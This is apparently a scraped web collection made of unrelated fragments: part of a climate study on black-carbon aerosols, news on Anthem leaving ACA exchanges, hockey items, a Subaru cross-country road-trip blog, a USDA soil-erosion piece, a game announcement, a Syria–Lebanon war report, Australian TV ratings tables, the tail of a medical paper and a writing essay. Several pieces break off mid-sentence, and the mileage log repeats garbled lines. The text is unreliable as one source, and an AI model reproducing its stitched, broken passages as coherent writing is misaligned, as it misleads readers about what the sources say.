Robock et al. [ 2007a 2007b Stenke et al. [ 2013 The monthly global mean time evolution is shown for (a) the mass burden of black carbon (Tg), (b) the shortwave net flux anomaly at the surface (W m), (c) the surface temperature anomaly (K), and (d) the precipitation anomaly (mm/day). The dark blue dashed line and light blue shading show the average and range of our 50 nm experiment ensemble. The gold line shows our simulation assuming a 100 nm aerosol radius. The dark red dashed line and pink shading show the ensemble average and range for. [] (data courtesy L. Oman). The grey and green lines show results from two 5 Tg BC simulations from. [] (data courtesy A. Stenke), with assumed aerosol radii of 50 and 100 nm, respectively. Ensemble anomalies are calculated with respect to the mean of the respective control simulation ensembles. Time 0 corresponds to the date of the BC injection (1 January in this study and 15 May in the other studies). The long lifetime that we calculate results from both the very high initial lofting of BC to altitudes, where removal from the stratosphere is slow, and the subsequent slowing down of the stratospheric residual circulation. The Brewer‐Dobson circulation is driven waves whose propagation is filtered by zonal winds, which are modulated by temperature gradients [Garcia and Randel, 2008]. As explained by Mills et al. [2008], the BC both heats the stratosphere and cools the surface, reducing the strength of the stratospheric overturning circulation. Figure 4 shows the vertical winds in the lower stratosphere, which bring new air up from the troposphere and drive the poleward circulation, for the control and BC runs. The middle‐atmosphere heating and surface cooling reduce the average velocity of |
pool of participants along with uncertainty in the federal government's handling of the law.
"Today, planning and pricing for ACA-compliant health plans has become increasingly difficult due to a shrinking and deteriorating individual market, as well as continual changes and uncertainty in federal operations, rules and guidance, including cost-sharing reduction subsidies and the restoration of taxes on fully insured coverage," Anthem said.
Anthem plans to eliminate all exchange plans in 2018 and only offer one individual catastrophic plan in Nevada, but will continue offering employer-sponsored plans and any grandfathered individual policies along with Medicaid and Medicare plans.
According to Reuters, residents in 14 out of 17 Nevada counties will not have access to qualified health plans on the state exchanges in 2018.
The insurance carrier also announced it will only offer Obamacare plans in 85 of Georgia's 159 counties. The counties where Anthem plans to continue participating in the state are mostly rural, and residents there would otherwise not have health insurance coverage.
The U.S. Senate recently struck down the latest Obamacare replacement bill last month, while President Donald Trump has continued urging lawmakers to repeal the landmark legislation if they can't settle on a replacement plan.Sean Avery, now playing for the Connecticut Whale in the AHL, was a healthy scratch last night for what the Rangers are calling "disciplinary reasons." It remains unclear, however, what required the discipline. The rumor spreading on Twitter is that he was benched for spitting on his coach.
Further seasoning the story is the news that at least two teams would claim Avery were he re-called by the Rangers. One team, apparently has gone so far as to ask the Rangers to do just that, while another quietly waits in the wings. The Rangers, however, would prefer to trade Avery because a claim would require them to pay half his salary and involve a salary cap hit they would like to avoid.
So, with the prospect of getting back to the NHL stalled for what appears to be trade deadline posturing, Avery toils away in Connecticut minor league hockey. He is most likely aggravated and feeling helpless, with a very defined skill set: pissing people off. Up until this point, things have generally worked out for Avery when he pisses people off, so it is entirely possible this was an orchestrated maneuver, designed to force New York's hand. Or, he could just be a crazy person incapable of controlling himself in the high stakes atmosphere of Connecticut minor league hockey.
Sean Avery scratched from AHL game for disciplinary reasons [Pro Hockey Talk]This slideshow requires JavaScript.
My family just finished an epic cross-country move from our previous home in the Washington, D.C. Metro area, to our new home in Portland, Oregon. We did the trip in our new 2014 Subaru Forester XT – our 4th Subaru, and the 2nd Subaru we’ve used for a cross-country move.
The Route:
As my wife & I have taken a southern & middle route before when going cross-country, we selected a Northern route this time for a change of scenery.
We had the little Forester loaded up with our things, and got the Subaru-supplied long box for the roof to put our camping equipment, sleeping bags, etc. It was the perfect size for our family of four. The dual-hinged box on the roof was easy to access, and the 13-cu-ft of space was exactly right for fitting our tent, sleeping bags, pads and other camping items – leaving the car itself for only our clothes, food & travel distractions.
Gas Mileage
Prior to affixing the box to the roof, we were getting almost spot-on with the EPA estimates for the Forester XT, getting between 20-22mpg in the city, and 28-30mpg on the highway – not bad at all for a 250hp turbo.
The box on the roof definitely took its toll on mileage, however – especially felt on speeds above 70mph. Below 60mph or so, we had no problem staying in the same 28mpg range as before, but there’s no way to really cheat the aerodynamics of having a big box up there.
Our mileage log was as follows:
Left Silver Spring, MD. Mile Zero!! 6/28
Lawrenceville, PA – 330/14.07 = 23.45mpg
– 330/14.07 = 23.45mpg Port Huron, MI – 361.8 / 15.60 = 23.1mpg
– 361.8 / 15.60 = 23.1mpg Portage, IN – 293.7 / 13.77 =21.3mpg
– 293.7 / 13.77 =21.3mpg La Crosse, WI – 322.4 / 13.7 = 23.53 mpg
– 322.4 / 13.7 = 23.53 mpg Sioux Falls, SD – 310.3 / 14.87 = 20.86 mpg
– 310.3 / 14.87 = 20.86 mpg Presho, SD (100m out of Badlands) – 195.5 / 9.91 = 19.73 mpg <– worst MPG on trip. Totally flat terrain, 80mph speed limit and sustained headwind = no bueno.
(100m out of Badlands) – 195.5 / 9.91 = mpg <– worst MPG on trip. Totally flat terrain, 80mph speed limit and sustained headwind = no bueno. Custer, SD – 244 / 11.17 = 21.84mpg
– 244 / 11.17 = 21.84mpg Worland, WY – 271.6 / 12.19 = 22.28mpg
– 271.6 / 12.19 = 22.28mpg Yellowstone National Park, WY – 278.8 / 10.92 = 25.53
– 278.8 / 10.92 = 25.53 Three Forks, MT 308.2 / 12.02 = 25.6 mpg <– best MPG on trip. Despite the mountain climbs, dirt roads, etc that we traversed in Yellowstone, we also kept the speed below 55mph almost exclusively, so the aerodynamic liability of the rooftop carrier wasn’t a factor.
308.2 / 12.02 = mpg <– best MPG on trip. Despite the mountain climbs, dirt roads, etc that we traversed in Yellowstone, we also kept the speed below 55mph almost exclusively, so the aerodynamic liability of the rooftop carrier wasn’t a factor. St Mary (Glacier), MT – 267.5 / 12.44 = 21.5mpg
– 267.5 / 12.44 = 21.5mpg Hot Springs, MT – 301.5 / 12.94 = 23.29mpg
– 301.5 / 12.94 = 23.29mpg Kennewick, WA – 313 / 13.07 = 23.95
– 313 / 13.07 = 23.95 Portland, OR (6/14) – 284.8 / 14.02 = 20.3mpg – END TRIP
TOTAL TRIP = 4082 MILES!
The Drive
The little Forester was outstanding as a road trip car. As much as I continue to bemoan the car not having a manual transmission (especially since I sold my WRX when buying this car), the CVT + torque-rich turbo does make it extremely smooth and effortless on any sort of highway. There is never any lack of power for 2-lane passing, and I found that keeping it in [S#] mode on 2-lane roads was the best – allowing for quick & controllable downshifts for passing. Interstates, however, were best left in [I]ntelligent mode, which kept the transmission from hunting, and maximized gas mileage. I still would much, much rather have a stick in this car, but have grown to understand and respect the CVT for what it can do.
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Like this: Like Loading...Soil Erosion Modeling: It's Getting Better All the Time
By Ann Perry
April 23 2012
About 50 years ago, scientists at the U.S. Department of Agriculture (USDA) devised the Universal Soil Loss Equation (USLE), a formula farmers could use to estimate losses from soil erosion. Agricultural Research Service (ARS) scientists will soon release a version that integrates models generated by cutting-edge computer technology, an updated soils database, and new findings about erosion processes.
ARS is USDA's chief intramural scientific research agency, and this work supports the USDA priority of promoting international food security.
The original USLE used five factors to estimate the tons of soil lost per acre per year from the impact of raindrops and the flow of runoff water across fields disturbed by plowing and tilling. The formula is now used as the basis for estimating soil erosion wherever land is disturbed by farming or other human activities.
Every conservation plan written by the USDA Natural Resources Conservation Service has been based on soil-erosion calculations derived from USLE or its successors, the Revised Universal Soil Loss Equation (RUSLE) and version 2 (RUSLE2). Now research leader Seth Dabney, who works at the ARS Watershed Physical Processes Research Unit in Oxford, Miss., is putting the finishing touches on an update of RUSLE2, which uses more intricate combinations of observation- and process-based science to produce soil erosion estimates.
New formulas have been added that can generate simulations of pasture plant lifecycles, which in turn can be used to estimate the effects livestock and their different grazing patterns will have on soil erosion. The revised equations can also produce estimates of how much plant residue can be removed from crop and pasture lands for ethanol production without exposing the soil to excessive erosion.
RUSLE2's revised database contains information for the entire United States on climate and soil properties that affect erosion. The database also includes detailed descriptions of management systems that are organized in 75 crop management zones nationally. RUSLE2 can now also be used to predict runoff amounts and to develop a representative runoff event sequence that can be linked with a process-based channel erosion model.
More information about RUSLE2 can be found at /Research/docs.htm?docid=5971.
Read more about this research in the April 2012 issue of Agricultural Research magazine.Age of Empires: Castle Siege was originally released on Windows Phone back in 2014 and then made its way to iOS a year later. The interesting game, developed by Smoking Gun Interactive in partnership with Microsoft, has now finally been released for the Android platform.
The purpose of the game is building and defending an empire while guiding it through the Medieval Era. You can choose one of several civilizations, including the Britons, Teutons, and Kievan Rus. Upgrade your keep and fortify your walls in order protect your empire from marauders and train your army to raid other cities.
You have the option of recruiting quite a few heroes to your army, including Saladin, Richard the Lionheart, and Joan of Arc and will have to outsmart your attackers in order to earn achievements and climb to the top of the leaderboards.
Age of Empires: Castle Siege is free to play, but does offer in-app purchases that should help you progress through the game faster and easier. Android users seem to like it so far, with good reviews on the Play Store even if there aren’t that many yet.
If you’re looking for a new strategy game to keep you entertained, Age of Empires: Castle Siege just might be up your alley. Visit the Google Play Store by clicking the button below.We continue our top 25 New Jersey Devils players under the age of 25 series today. This post will reveal the bottom half of the top 10. This group includes four forwards that have tasted varying levels of NHL action and could have an impact in New Jersey this season. It also includes a top goaltending prospects that will look to build upon the experience he gained as a rookie in the AHL last season. Let's take a look at who they are.
#10 - Mackenzie Blackwood - G - Age: 20 - 2016-17 Team: Albany (AHL) - 2016 Rank: #12 - Elite Prospects Profile
Devin John CJ Christian Alex Nick Dan Brian Nate Gerard Michael Community 12 10 8 9 13 12 9 13 5 10 15 9
Rising two spots from last year's list to earn a top 10 ranking is goaltender Mackenzie Blackwood. The 6'4, 215 lbs. netminder was selected in the 2nd round of the 2015 draft by the Devils out of Barrie in the OHL where he was one of the best goaltenders in the league. Blackwood excelled for the Barrie Colts from 2013-16, earning OHL First All-Rookie Team honors in 2013-14 as well as OHL First All-Star Team and OHL Goaltender of the Year honors in 2015-16. His SV% climbed from.902 as a rookie, to.906 in his second season, before topping out at.921 in his final season. He even made Canada's WJC team in 2016 but missed a few games due to suspension and poor play in a small sample size. Blackwood earned a reputation for being a quick, athletic goaltender with good mobility who can read the play well. With him turning 20 last December, he opted to jump to the professional level with Albany in the AHL. I wrote more in-depth about his season in this post, but the short of it is he struggled mightily in 2016 but found his game in 2017 where he took back the starting job and was key down the stretch for Albany. Overall, his numbers were about league average with a.907 SV%, GA%- of 101, GSAA of -0.98, and GSAA/60 of -0.03 in 36 games. He'll face competition for the starting job in Binghamton, but with his overall potential and strong 2nd half of last season, he figures to earn plenty of playing time. He won't be 21 until December so he still has plenty of time to continue to round out his game and adjust to the professional level. Hopefully he can continue on an upward trend and show why he is one of the top goaltending prospects in the game.
#9 - Blake Speers - C - Age: 20 - 2016-17 Team: Sault Ste. Marie (OHL) - 2016 Rank: #17 - Elite Prospects Profile
Devin John CJ Christian Alex Nick Dan Brian Nate Gerard Michael Community 9 7 13 14 11 10 10 7 9 12 14 7
Blake Speers is another riser in this year's rankings, working his way up from #17 last year. The 5'11, 185 lbs. forward was drafted by the Devils in the 3rd round of the 2015 draft out of Sault Ste. Marie in the OHL. The right handed forward is capable of playing center or right wing and in a variety of roles. Speers spent 2013-2017 playing for Sault Ste. Marie where he had 84 goals and 131 assists in 217 regular season games as well as 10 goals and 20 assists in 46 playoff games. He would earn OHL First All-Rookie Team honors in 2013-14 after posting 40 points in 62 games. That same year he represented Canada Ontario U17 at the World Under 17 Hockey Challenge. In his draft year of 2014-15 he put up 67 points in 57 games while serving as an Alternate Captain for the Greyhounds. The following year he was named Captain and put up 74 points in 68 games. 2016-17 would prove to a be a crazy season for Speers. He earned a spot with New Jersey out of training camp and appeared in 3 games while averaging 9:29 per game. He was sent back to juniors but suffered a broken wrist in his first game back with the Greyhounds. He would recover in time to help Canada's WJC team earn Silver by playing in 7 games with a goal and 2 assists to show for his efforts. He finished his final OHL season with 34 points in 30 games and even got into 2 of Albany's playoff games after Sault Ste. Marie was eliminated. He won't turn 21 until January but could very well earn a spot with New Jersey out of training camp and stick rather than be sent down to Binghamton. Speers doesn't have high end skills but is a great complementary player due to his slick passing ability, solid shot, competitiveness, and defensive quality. He could very well fit in with the Devils in a secondary scoring or checking role as well as on the penalty kill. He's the type of player that will make others around him better and figures to be a part of the Devils future plans. Let's see what his first full year as a pro brings but I am certainly optimistic about Speers going forward.
#8 - Joseph Blandisi - C - Age: 23 - 2016-17 Team: Albany/New Jersey (AHL/NHL) - 2016 Rank: #5 - Elite Prospects Profile
Devin John CJ Christian Alex Nick Dan Brian Nate Gerard Michael Community 11 11 14 7 8 4 14 10 11 7 7 10
Falling three spots but still retaining a spot in the top 10 is Joseph Blandisi after a mixed 2016-17 season. The 6'0, 200 lbs. forward was originally selected by the Colorado Avalanche in the 6th round of the 2012 draft. Illness would threaten his career while he was in the OHL which led to the Avalanche not signing him. The Devils signed Blandisi out of Barrie of the OHL in January of 2015 as he was in the midst of his OHL Overage Player of the Year season. After finishing his OHL career with 108 goals and 136 assists in 246 games he would turn pro for the 2015-16 season. That year he split his time between New Jersey (17 points in 41 games) and Albany (23 points in 27 games), showing glimpses of his offensive potential with some slick plays at the NHL level. He did struggle to find consistency, even in his defensive game, at both levels and at times found himself on the bench. Last season, he spent most of the season with Albany (25 points in 31 games) compared to New Jersey (9 points in 27 games). While he seemed to get the message that his compete level had to be better, he still seemed to find himself on the outside looking in. Blandisi is still young but with other, younger forwards soon to get their chances, this season could prove to be crucial for Blandisi's future with the organization. He's proven he can be a strong two-way forward at the AHL level when he's on his game, but he needs to showcase that at the NHL level. He'll certainly have the opportunity and I hope he is able to capitalize on it.
#7 - Miles Wood - LW - Age: 22 - 2016-17 Team: New Jersey/Albany (NHL/AHL) - 2016 Rank: #16 - Elite Prospects Profile
Devin John CJ Christian Alex Nick Dan Brian Nate Gerard Michael Community 6 8 7 10 7 9 3 9 15 8 11 8
Miles Wood's quick transition to NHL player has him jumping up from outside the top 15 on last year's list to the top 10 this year. The 6'1, 185 lbs. left wing was drafted by the Devils in the 4th round of the 2013 draft out of prep hockey at the Noble & Greenough School. His decision to spend 2 more seasons at that level from 2013-15 would put him on the backburner as far as prospects would go due to his lack of competition and easy domination of that circuit. He did earn a lot of attention for making the USA WJC team in 2015 due to his blazing speed, offensive skill, and tenacity. He would further his breakout in 2015-16 as a freshman for Boston College in his age 20 season when he put up 10 goals and 25 assists in 37 games. That strong performance, plus his age, would make the Devils act on signing him and as a reward he would suit up in a NHL game by season's end. He even got to play for the USA World Hockey Championship team that spring. Last season was his full debut as a pro and he spent most of it with New Jersey, putting up 8 goals and 9 assists in 60 games while averaging 12:51 per game. He also spent 15 games with Albany adding 4 goals and 4 assists. Wood's speed and aggressive style of play endeared him to some of the fanbase while his inconsistent performances and poor possession numbers drew some criticism from others. About to enter his age 22 season, it will be interesting to see what type of player Wood is for the Devils this year. He certainly has the skills to produce more but will need to make smarter decisions on the ice as it seems sometimes his feet move quicker than his brain. There is certainly some potential there and he is the type of player that can play in a variety of roles which should help him earn playing time. Let's see what his second season at this level can bring.
#6 - John Quenneville - C - Age: 21 - 2016-17 Team: Albany/New Jersey (AHL/NHL) - 2016 Rank: #8 - Elite Prospects Profile
Devin John CJ Christian Alex Nick Dan Brian Nate Gerard Michael Community 5 6 12 6 5 6 8 6 7 6 6 6
John Quenneville, the Devils 1st round pick from 2014, has found himself just outside of a top 5 ranking. The Devils selected the 6'1, 195 lbs. forward out of Brandon of the WHL where he had a successful career from 2012-2016 at both the team and international level. He would finish his WHL career with 81 goals and 116 assists in 222 regular season games and 31 goals and 28 assists in 49 playoff games. He also won a WHL Championship in 2015-16 and led the playoffs in goals. Quenneville was consistently a member of international teams, winning U17 Silver and U18 Bronze as well as being on the 2016 WJC team. Last season he made his professional debut and was Albany's main offensive threat with 14 goals and 32 assists in 58 regular season games. He was strong in the playoffs with 3 goals and an assist in 4 games. At the NHL level he got into 12 games and had a goal and 3 assists while averaging 13:42. A two-way player known for his passing ability and strong defensive game, he's capable of playing at center or on the wing, though it seems like his best path into breaking into the NHL roster is through the wing. Quenneville is another one of those players that makes his teammates better and can play in a variety of roles at even strength or on special teams. He won't turn 22 until April but after his solid pro debut, I think we'll be seeing quite a bit of him in New Jersey this season.
Which of these players did you have in your top 10? Which of these forwards do you expect to be contributors to the New Jersey Devils this season? What do you think of of Blackwood's long term potential? Leave your comments below and thank you for reading!Renewed fighting in Syria’s strategic Qalamoun region north of Damascus threatens to spill across the border into Lebanon, where thousands of Syrian rebels have been holed up in recent months.
An estimated 3,000 to 4,000 rebel fighters are using the rugged mountains east of this town as a staging ground to launch hit-and-run attacks against Syrian regime positions. Their objective is to degrade the Syrian Army and its allies and to divert resources from other battlefronts around Damascus.
While the world watches the growing unrest in Iraq, the conflict next door in Syria continues to burn, roiling neighbors like Lebanon and Israel. On Monday, Israel carried out airstrikes against Syrian regime targets in retaliation for a cross-border attack in the Israeli-occupied Golan Heights. Late Monday, a suicide car bomber in Lebanon struck a cafe in a Shiite neighborhood, causing several casualties. (Read a special report from Arsal here.)
As the boundary between Syria and Iraq further dissolves amid an offensive by the Islamic State of Iraq and the Levant (ISIS), a pan-national Sunni extremist group, this remote piece of the Syria-Lebanon border – another legacy of the post-Ottoman order – is also becoming increasingly irrelevant. Syrian anti-regime rebels and militants from Lebanon's Shiite Hezbollah are battling each other on both sides of the border.
The rebels fighting in Qalamoun, which bisects the strategic Damascus-Homs highway, belong to groups like the Free Syrian Army, the Tawhid Brigade, and Jabhat al-Nusra, Syria’s Al Qaeda affiliate.
“We are using hit-and-run tactics now to wear down the enemy in Qalamoun and relieve pressure on other fronts such as Mleiha,” says Abu Zeid, a unit leader in the moderate rebel Muatassim Billah Brigade, referring to a besieged rebel-held town east of Damascus. “We hit two or three positions over a couple of days, then we retreat back into Lebanon.”
On June 11, Lebanon-based rebels launched a counter-attack on the town of Rankous and two nearby villages in Qalamoun, all less than five miles from the Lebanese border. Rankous had fallen to the regime in early April at the climax of a five-month Qalamoun offensive led by Hezbollah, a key ally of Syrian President Bashar Assad's regime.
The rebel counter-attack on the Rankous area had been planned for some time, according to Abu Zeid, but was aided by the recent departure from the area of Iraqi Shiite paramilitary forces allied to the Assad regime. They went back to Iraq to join the fight against a spreading Sunni rebellion.
Abu Zeid participated in the initial attack on Rankous, leading his 15-man unit against a regime position on a steep hill outside the town. The position was defended by Syrian soldiers and fighters from the National Defense Force, an Iran-trained militia whose personnel are mainly Alawites, the splinter sect of Shiite Islam to which Mr. Assad belongs.
“We attacked from three sides,” Abu Zeid says, speaking at a friend’s house in Arsal during a rare trip to the town. “The [NDF] militiamen ran away when they heard the first explosion but it took us three hours to capture the post. We lost three men and 20 wounded. If the post had been on flat ground we would have taken it in 10 minutes.”
An array of enemies
Before the conflict broke out in March 2011, Abu Zeid, a stocky man with a graying beard, was a farmer from the town of Qusayr, just over the border in Syria. Since then he has fought in the area against an array of enemies, including the Syrian Army, Alawite militiamen, and Hezbollah fighters.
“Hezbollah are very strong, tough fighters,” he says. “They have experience, quality weapons and tactics. Syrian soldiers and Defense Force [NDF] militiamen will drop their weapons and run away, but not Hezbollah.”
Now he stays with other fighters in barren limestone mountains east of Arsal and the neighboring village of Ras Baalbek five miles to the north, living in caves and abandoned farmsteads.
Over the weekend, Syrian Army troops and Hezbollah fighters struck back in the Rankous area. Syria’s state-run television said on Sunday that the Army had recaptured some hills overlooking Rankous “and are pursuing terrorist groups who tried to infiltrate the region from Lebanon."
“This land will be a cemetery for all terrorists who decide to return,” a Syrian Army officer was quoted as saying.
Fighting spillover
The fighting has already spilled into Lebanon: the village of Tufayl, which sits at the tip of a narrow peninsular of territory poking eastward into Syria, has been shelled in recent days. Many residents have fled over desolate mountains to reach Arsal, 25 miles to the north. Their village is accessible via a 13-mile dirt track that is controlled at the western end by Hezbollah.
“A month ago Hezbollah was seven miles to the west of the village. Now they are less than two miles,” says Sheikh Hussein Ghali, a Sunni cleric who has been pressing the Lebanese government to provide assistance to the beleaguered village.
According to a veteran Hezbollah fighter who has served several tours in Syria, the group is determined to drive the rebels out of their Lebanese hideouts. “Let them [the rebels] be as strong as they want. If our missiles don’t kill them then they will die from Syrian air strikes,” the Hezbollah fighter says.
Syrian aircraft have repeatedly bombed rebel areas near Arsal inside Lebanon and there is little to stop a cross-border ground incursion by Syrian troops.
The Lebanese Army is deployed in Arsal but so far has not ventured deeper into the mountains where the well-armed rebels are bunkered, though it has announced plans to build forward operating bases there in the hope of better controlling the area.
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For now, a wary standoff exists between Hezbollah, the Lebanese Army, and rebel groups. Abu Zeid says the rebels in the mountains are braced for an assault by invading Syrian troops and Hezbollah.
“We are expecting the Syrians to come to us. When they come, we will count on our strength in battle and on God,” he says.Report: Daily Free-to-Air Share Channels: All Free-to-Air Channels Market: 5 City Metro (aggregate figure) Demographics: Total People Day-part: 18:00 – 24:00 Day: Tuesday Deliverable: Overnight, Consolidated 7 and Consolidated 28 Channel Overnight Consolidated 7 Consolidated 28 01/08/2017 25/07/2017 04/07/2017 ABC 10.8% 10.1% 9.5% ABC2 3.2% 3.0% 2.6% ABC ME 0.4% 0.5% 0.6% ABC NEWS 1.4% 1.2% 0.9% ABC Network 15.8% 14.7% 13.6% Seven 18.7% 14.4% 21.3% 7TWO 3.1% 2.4% 2.7% 7mate 3.9% 3.4% 4.0% 7flix 2.8% 3.1% 2.0% Seven Network 28.5% 23.2% 29.9% Nine 22.1% 36.0% 16.9% 9GO! 2.9% 2.3% 3.0% 9Gem 3.4% 3.4% 3.4% 9Life 1.7% 2.0% 1.7% Nine Network 30.1% 43.7% 25.0% TEN 13.2% 7.1% 17.0% ONE 3.1% 2.9% 3.7% ELEVEN 2.5% 2.6% 2.4% Network Ten 18.9% 12.6% 23.1% SBS 4.5% 4.4% 6.6% SBS VICELAND 1.1% 0.8% 0.9% SBS Food Network 1.0% 0.6% 0.7% NITV 0.1% 0.1% 0.1% SBS Network 6.7% 5.8% 8.4%
Report: Top 20 Programs Channels: All Free-to-Air Market: 5 City Metro (aggregate figure), Sydney, Melbourne, Brisbane, Adelaide & Perth Demographics: Total People Day-part: 02:00 – 26:00 Day: Tuesday Date: 01/08/2017 Deliverable: Overnight Rank Description (grouped) Channel \Network (r) 5 City Metro Sydney Melbourne Brisbane Adelaide Perth 1 SEVEN NEWS Seven Network 1,080,000 258,000 299,000 192,000 137,000 194,000 2 SEVEN NEWS / TODAY TONIGHT Seven Network 1,059,000 289,000 291,000 171,000 119,000 189,000 3 THE BLOCK -TUE Nine 1,044,000 315,000 362,000 205,000 85,000 77,000 4 NINE NEWS 6:30 Nine 1,008,000 305,000 340,000 214,000 83,000 65,000 5 NINE NEWS Nine 1,004,000 296,000 334,000 220,000 77,000 77,000 6 A CURRENT AFFAIR Nine 896,000 277,000 295,000 190,000 68,000 67,000 7 TRUE STORY WITH HAMISH & ANDY Nine 878,000 238,000 309,000 176,000 67,000 87,000 8 HOME AND AWAY Seven Network 775,000 218,000 192,000 155,000 86,000 125,000 9 ABC NEWS-EV ABC 735,000 210,000 227,000 114,000 83,000 102,000 10 THE CHASE AUSTRALIA Seven Network 653,000 166,000 187,000 122,000 80,000 97,000 11 AUSTRALIAN SURVIVOR TUES Network Ten 600,000 168,000 185,000 104,000 61,000 83,000 12 DIANA’S DEATH: SEARCH FOR THE TRUTH Seven Network 592,000 166,000 162,000 109,000 66,000 89,000 13 MIGHTY CRUISE SHIPS Seven Network 580,000 171,000 156,000 97,000 63,000 92,000 14 KATH & KIM Nine 572,000 153,000 193,000 118,000 52,000 57,000 15 7.30-EV ABC 535,000 157,000 162,000 94,000 51,000 70,000 16 THE PROJECT 7PM Network Ten 525,000 121,000 184,000 97,000 57,000 67,000 17 JOANNA LUMLEY’S INDIA-EV ABC 521,000 141,000 166,000 85,000 73,000 56,000 18 HOT SEAT Nine 496,000 168,000 152,000 120,000 34,000 22,000 19 TEN EYEWITNESS NEWS FIRST AT FIVE Network Ten 474,000 124,000 120,000 91,000 58,000 81,000 20 KATH & KIM EP2 Nine 456,000 116,000 167,000 85,000 41,000 47,000
Report: Top 20 Programs Channels: All free-to-air Multi Channels Market: 5 City Metro (aggregate figure), Sydney, Melbourne, Brisbane, Adelaide & Perth Demographics: Total People Day-part: 02:00 – 26:00 Day: Tuesday Date: 01/08/2017 Deliverable: Overnight Rank Description (grouped) Channel \Market (r) 5 City Metro Sydney Melbourne Brisbane Adelaide Perth 1 SHAUN THE SHEEP-EV ABC2 257,000 72,000 55,000 60,000 32,000 39,000 2 BEN AND HOLLY’S LITTLE KINGDOM-EV ABC2 242,000 64,000 51,000 66,000 27,000 35,000 3 PETER RABBIT-EV ABC2 226,000 51,000 57,000 65,000 18,000 34,000 4 OUTBACK TRUCKERS-PM 7mate 211,000 56,000 56,000 44,000 32,000 24,000 5 PEPPA PIG-AM ABC2 206,000 43,000 56,000 41,000 29,000 38,000 6 HIGHWAY PATROL-EP.2 PM (R) 7mate 206,000 62,000 53,000 45,000 20,000 26,000 7 FIREMAN SAM-EV ABC2 206,000 42,000 40,000 76,000 16,000 31,000 8 OCTONAUTS-EV ABC2 202,000 44,000 50,000 63,000 15,000 31,000 9 OLOBOB TOP-AM ABC2 190,000 35,000 47,000 43,000 27,000 37,000 10 KAZOOPS!-PM ABC2 186,000 42,000 33,000 61,000 18,000 32,000 11 PJ MASKS-AM ABC2 184,000 34,000 43,000 44,000 30,000 33,000 12 HIGHWAY PATROL-PM (R) 7mate 183,000 46,000 48,000 41,000 20,000 28,000 13 THE HIVE-PM ABC2 180,000 46,000 |
who used public health care services at least twice. These included patients were very likely to use public health care services instead of private services, because the public health care cost is heavily subsidized by the government.
Conclusions
This study found a short-term increased risk of neuropsychiatric events associated with current use of H pylori therapy containing clarithromycin, and the temporal increased risk is in full concordance with the treatment duration. Such transient neuropsychiatric events will usually resolve spontaneously after treatment cessation and psychiatric interventions can be avoided.
Back to top Article Information
Corresponding Author: Esther W. Chan, PhD, Centre for Safe Medication Practice and Research, Department of Pharmacology and Pharmacy, Li Ka Shing Faculty of Medicine, The University of Hong Kong, Hong Kong SAR, China (ewchan@hku.hk).
Accepted for Publication: March 17, 2016.
Published Online: May 2, 2016. doi:10.1001/jamainternmed.2016.1586.
Author Contributions: A. Y. S. Wong had full access to all of the data in the study and takes responsibility for the integrity of the data and the accuracy of the data analysis.
Study concept and design: A. Y. S. Wong, I. C. K. Wong, Lee, Chen, Chan.
Acquisition, analysis, or interpretation of data: A. Y. S. Wong, I. C. K. Wong, Chui, Lee, Chang, Leung, Chan.
Drafting of the manuscript: A. Y. S. Wong, I. C. K. Wong, Chan.
Critical revision of the manuscript for important intellectual content: A. Y. S. Wong, I. C. K. Wong, Chui, Lee, Chang, Chen, Leung, Chan.
Statistical analysis: A. Y. S. Wong, Chui, Lee, Chang.
Administrative, technical, or material support: A. Y. S. Wong, Chen.
Study supervision: I. C. K. Wong, Lee, Chen, Leung, Chan.
Conflict of Interest Disclosures: None reported.
Additional Information: Correspondence can also be sent to Ian C. K. Wong, PhD, Research Department of Practice and Policy, UCL School of Pharmacy, 29-39 Brunswick Square, London, England (i.wong@ucl.ac.uk).
Additional Contributions: We thank the Hong Kong Hospital Authority for access to data, Jody KP Chu, MClin Pharm, BPharm, Department of Pharmacology and Pharmacy, University of Hong Kong, for clinical advice. We also thank Lisa YL Wong, BSc, RGN, RHV, MJ, from the European Medical Writers Association and Shweta Anand, BDS (Bachelor of Dental Surgery) from the Department of Pharmacology and Pharmacy, University of Hong Kong for proofreading the manuscript. They were not compensated for their assistance. Written permission has been obtained from all persons named in the acknowledgment.Magazine
Silencing Your Inner Critic by Ella Griffin
Posted in the Magazine ( Article by writingie © 17 August 2015.Posted in the Magazine ( · Women's Fiction ).
I always, always wanted to write. Actually, it felt more like a need than a want. An appetite that could only be satisfied by cramming words onto a page to try to make sense of the world around me.
But writing is self-expression, stepping out of the shadows into the light. Saying ‘this is me’. ‘That’s what I think’. ‘Here’s what I see’. And I was a painfully shy child. The idea of being visible terrified me. Maybe that’s why I developed such a harsh inner critic. To keep myself safe. To keep my appetite in check.
She paced beside me through my twenties, as I took faltering steps towards what Neil Gaiman calls The Mountain. Pouring scorn on the tentative beginnings of short stories. Sneering at the chaotic scribbles in the notebooks I started and abandoned. Spitefully reminding me that I was too young, too old, too busy, too stupid, too undisciplined to write a page, much less an entire book.
It was years before I had the confidence to go to a writing class. I told nobody. I assumed they’d be as critical of my ambitions as I was. I sneaked off to it as if I was having an affair. It sounds ridiculous, but I would have preferred to walk naked down Dun Laoghaire Per than let my boyfriend or my flatmate read my homework assignments.
I always managed to be absent when I was due to share my efforts with the group. I didn’t need a room full of other novice writers to tell me all the things that were wrong with what I’d written. I had my inner critic for that.
Then I stumbled on a different kind of writing class. An extra mural course in UCD, taught by a woman called Dorothy Molloy Carpenter.
Instead of writing at home and bringing our work in to be critiqued, we sat in a circle and wrote on the spot, all of us, including Dorothy herself. We were invited to share what we’d written, but we didn’t have to. We were encouraged to comment on what was read out but there was one rule. We could only give positive feedback.
Every week Dorothy brought things along to inspire us. She’d upend a box of old postcards onto the floor and invite us to choose one and write about it for twenty minutes. She’d arrive with a box of charity shop junk and we’d all pick through it and pull out a piece of treasure to inspire a story. An old candlestick, a rusty mouth organ, a single cufflink. Once she solemnly passed around a roll of toilet paper and told us each to take a piece.
The atmosphere in that class was magical. I can still remember the bent heads, the frantic scribbling, the way we blinked at one another in disbelief when our twenty minutes were up.
I forget the plots of whole books I read back then. But I can recall vivid fragments of the stories my class-mates wrote in those twenty minute sessions.
A description of waves in Dun Laoghaire on a stormy day as ‘baby elephants tumbling over and over’. A piece about a widower in his seventies bumping into the woman he should have married on a street in Cork on Christmas Eve. A crazy stream of consciousness about a drunk who glimpses the face of Jesus in the toilet bowl.
Listening taught me that every word does not have to be perfect. That when you take a running dive into writing sometimes you executive a graceful dive and if you land in a belly flop, it’s not the end of the world.
